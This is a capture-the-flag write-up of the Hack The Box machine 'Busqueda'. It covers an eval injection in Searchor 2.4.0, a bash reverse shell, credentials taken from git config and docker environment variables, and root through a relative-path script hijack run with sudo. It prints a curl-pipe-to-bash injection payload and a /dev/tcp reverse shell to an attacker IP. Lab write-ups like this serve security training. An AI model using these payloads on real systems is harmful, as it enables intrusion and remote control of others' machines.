Hack The Box: Busqueda

Posted on Sep 5, 2023

Overview

  1. Identify and exploit the vulnerable of Searchor
  2. Enumerate logs from a git repository to find user crendentials
  3. As this user, run a python script that lets us inspect enviroment variables from docker containers
  4. Obtain administrator credentials to log in gitea
  5. Analyze the script to spot a path misuse from an imported file
  6. Get root

Nmap

danp@local:~|⇒  nmap -sV -sC 10.10.11.208
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 21:04 -03
Nmap scan report for 10.10.11.208
Host is up (0.094s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.75 seconds
  • -sV: Enumerate versions from the services
  • -sC: Run some nmap’s default scripts

We can see that we get redirected to searcher.htb, let’s update our /etc/hosts file:

danp@local:~|⇒  cat /etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1	localhost
255.255.255.255	broadcasthost
::1             localhost
10.10.11.208	searcher.htb

Taking a look at the website we see a couple of interesting info:

img1

  1. It is running Flask, so we are working with python here
  2. Searchor 2.4.0

Before we even interact with the app, let’s do a quick google search for possible exploits for this version.

img2

Searchor 2.4.0

This Snyk page tells us that our version is vulnerable to arbitrary command execution due to an unsafe use of eval. That’s a very strong cadidate for us to exploit, let’s try to find on the github repository the vulnerable code to see our case applies and we can exploit it. Since Snyk told us that version 2.4.2 is fixed, let’s see its release page:

img3

Fortunately we see a reference for the patch commit

img4

We see the vulnerable code highlighted in red. It takes what appers to be two users’ input and throws them part of the arguments for the eval function. This function will basically take any string passed as argument as code and execute it no questions asked, we have spot our vulnerability here.

Let’s go back a bit to see how we can send those values, engine and query to the server. As we saw above, the website has only one form, let’s intercept it wih burp:

img5

Perfect, we control both of the variables, let’s build our payload. The original function is:

url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open}))"

Our payload would look something like this on the server side:

url = eval(f"Engine.{engine}.search('',__import__('os').system('curl 10.10.14.71/index.html | bash'))#'))"

Since everything after the # is commented out we don’t need to send them on our request. The payload we send is:

',__import__('os').system('curl 10.10.14.71/index.html | bash'))#

the index.html file is just a trick to download a bash script without specifying a filename and auto execute it with the pipe (|) bash

This is what the index.html file looks like:

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.71/9001 0>&1

We successfuly get a shell as svc user:

img6

We can read user.txt with this user, now let’s focus on elevate our privileges.

$ whoami
svc
$ cat user.txt
1e9<redacted>83b9

Shell as svc

Now that we have internal access, let’s begin our enumeration!

Inside the /home folder of svc, we see a .gitconfig

$ cat .gitconfig
[user]
	email = cody@searcher.htb
	name = cody
[core]
	hooksPath = no-hooks

Let’s save this cody user for future references. Browsing to /var/www/app/ we detect that it is a git folder. Let’s take a look at the logs

$ git log
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4
Author: administrator <administrator@gitea.searcher.htb>
Date:   Sun Dec 25 12:14:21 2022 +0000

    Initial commit

We spot another name gitea.searcher.htb, adding it to our /etc/hosts file…

img7

We find a gitea page but no creds 😢. While I was doing the box I hoped to find commits from the cody user we saw earlier, so I grepped his name inside the /var/www/app folder recursively. To my surprise the output was better than expected

$ grep -ir "cody" 2>/dev/null
.git/config:	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

we get cody:jh1usoih2bkjaspwe92 as credentials. Using this credential to login to gitea does not give any new information to us, so it’s no use here. However, it password can be used to ssh in as svc.

  • User: svc
  • Password: jh1usoih2bkjaspwe92

Detecting Root Path

sudo -l reveals that we can run a particular python script as root. Let’s try to exploit it to get root.

svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Unfortunately we cannot read the source, so let’s just run it to see what it does

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

We can run three differente commands as described above. Running the docker-ps argument we get:

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
[sudo] password for svc:
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 8 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 8 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

We see two containers running the gitea service, one for the app and the other serving as database. If you a are a little bit familiar with docker containers and how they interact with each other on the same docker network, it is very common to send values through environment variables. The docker-inspect argument can help us with this.

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{json .Config.Env }}" gitea | jq
[
  "USER_UID=115",
  "USER_GID=121",
  "GITEA__database__DB_TYPE=mysql",
  "GITEA__database__HOST=db:3306",
  "GITEA__database__NAME=gitea",
  "GITEA__database__USER=gitea",
  "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "USER=git",
  "GITEA_CUSTOM=/data/gitea"
]

We find a credential gitea:yuiu1hoiu4i5ho1uh but it does not help us much right now. After struggling a little here, I decided to try this password with the administrator user we saw earlier on the gitea app.

img8

Exploiting some python scripts

Luckly we get in! Accessing the /scripts repository, it lets us see the code from the script folder. (Line 45 - 52)

elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

We see a vulnerability here. If we call the full-checkup option, the script tries to run a ./full-checkup.sh from our current directory, it should have specified /opt/scripts/full-checkup.sh as it was doing for the rest. All we have to do is create another full-checkup.sh in a differente folder to execute any code we want.

Using the same code as before to spawn a shell

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.71/9001 0>&1

Save that to /dev/shm/full-checkup.sh and run sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup from the /dev/shm folder. (Don’t forget to chmod +x full-checkup.sh 😎)

img9

That’s all folks 🐇